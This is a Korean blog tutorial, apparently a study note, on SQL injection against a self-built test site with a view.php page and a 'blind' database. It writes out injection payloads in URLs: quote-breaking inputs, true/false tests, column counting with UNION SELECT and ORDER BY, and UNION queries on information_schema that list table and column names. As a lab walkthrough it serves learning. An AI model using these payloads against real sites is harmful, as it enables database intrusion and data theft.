반응형


Blind SQL Injection


 -SELECT 쿼리에 취약점이 존재

 -DB내의 정보를 노출

-> 소스코드 없이 오직 페이지 에 있는 코드 혹은 SQL 명령등릐 결과로부터만

공격을 하는 것입니다.

->DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지않는

데이터들을 노출시키는 공격입니다



테스트 사이트 구축


1. DB :blind 생성



- table 생성

news table 생성

 - no(숫자)

 - title(문자)

 - news(문자)



fnews table 생성

 - no(숫자)

 - title(문자)

 - news(문자)

 - bigo(문자)



anews table 생성

 -no(숫자)

 -title(문자)



! 각 테이블에는 테스트를 위한 데이터를 미리 입력(3개)


*news table



*fnews table



*anews table





이제 만든 DB를 쓰는 페이지를 구축해보도록 하겠습니다


#vi view.php





DB안에 있는 3개 column이 다 잘 출력됨을 볼 수 있습니다.









오류가 나는 이유는 뒤에 hello를 쿼리문으로 인식하기 떄문입니다(injection 가능)



http://192.168.12.241/view.php?no=1 hello


->SELECT * FROM news WHERE no=1 hello

에러가 난다

             

String으로 바꾼 뒤(''로 감쌌습니다)


http://192.168.12.241/view.php?no=1hello

-> SELECT * FROM news WHERE no='1hello'

에러가 나지 않는다


http://192.168.12.241/view.php?no=1'hello %23

->SELECT * FROM news WHERE no='1'hello #'
이건 또 에러가 납니다(쿼리로 인식합니다)

더블쿼터인지 싱글쿼터인지 에러가 나는지 안나는지를 보고 판단 할 수 있습니다
다양한 입력을 통해서 출력을 보고 추측해서 판단해야 하므로 경험이 필요합니다.




2. SELECT 쿼리의 응용


1). 여러개의 쿼리를 한 번에 실행


 - 쿼리; 쿼리; 쿼리;



2).join, union, ...


 - 쿼리(select) union 쿼리(select)



*union 쓸 때 주의사항


앞에 select가 출력하는 column 갯수와 뒤에 select가 출력하는 column이 맞춰줘야 합니다


안그러면 에러가 뜹니다



앞에 칼럼보다 뒤에 칼럼이 더 많다면


concat을 이용해서 붙여서 뒤에 내용을 같이 불러올 수 있습니다



앞에 컬럼보다 뒤에 컬럼이 적다면


아무거나 넣어서 불러오면 됩니다




웹상에서도 잘 되는 것을 확인 할 수 있습니다.



3. 취약점 가능 확인(참/거짓)


 http://192.168.12.241/view.php?no=1 and 1=1


-> SELECT * FROM news WHERE no=1 and 1=1(참)




 http://192.168.12.241/view.php?no=1 and 1=2


->SELECT * FROM news WHERE no=1 and 1=2(거짓)



내가 입력한 값으로 인해서 내용이 바뀌는 걸 알 수 있습니다.



4. 컬럼의 갯수 확인


http://192.168.12.241/view.php?no=1 union select 1       (에러)

http://192.168.12.241/view.php?no=1 union select 1,2     (에러)

http://192.168.12.241/view.php?no=1 union select 1,2,3   (실행)


->

SELECT * FROM news WHERE no=1 union select 1

SELECT * FROM news WHERE no=1 union select 1,2

SELECT * FROM news WHERE no=1 union select 1,2,3

order by를 이용해서 칼럼 수를 줄여나갑니다

order by 칼럼수; 하면 그 칼럼이 없으면 에러가 납니다


이렇게 줄여나가면서 나올 때까지 찾습니다




5. 테이블 정보와 컬럼 정보 확인


1). 추측(Guessing)
 - 생각보다 정확성이 높습니다.(경험이 많다면)


2). information_schema


 단점

 - mysql에서만 사용이 가능


 - version 5.x 이상에서만 사용이 가능








웹에서도 잘 작동 하는것을 볼 수 있습니다



->

SELECT * FROM news WHERE no=1 union select 1,table_schema ,table_name from information_schema.tables


*알고 싶은 내용 뽑아내기!

http://192.168.12.241/view.php?no=1 union select 1 ,table_name,column_name from information_schema.columns where table_schema='blind';

->SELECT * FROM news WHERE no=1 union select 1 ,table_name,column_name from information_schema.columns where table_schema='blind'


이렇게 알고싶은 news , fnews, anews의 칼럼들을 알아냈습니다.

  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기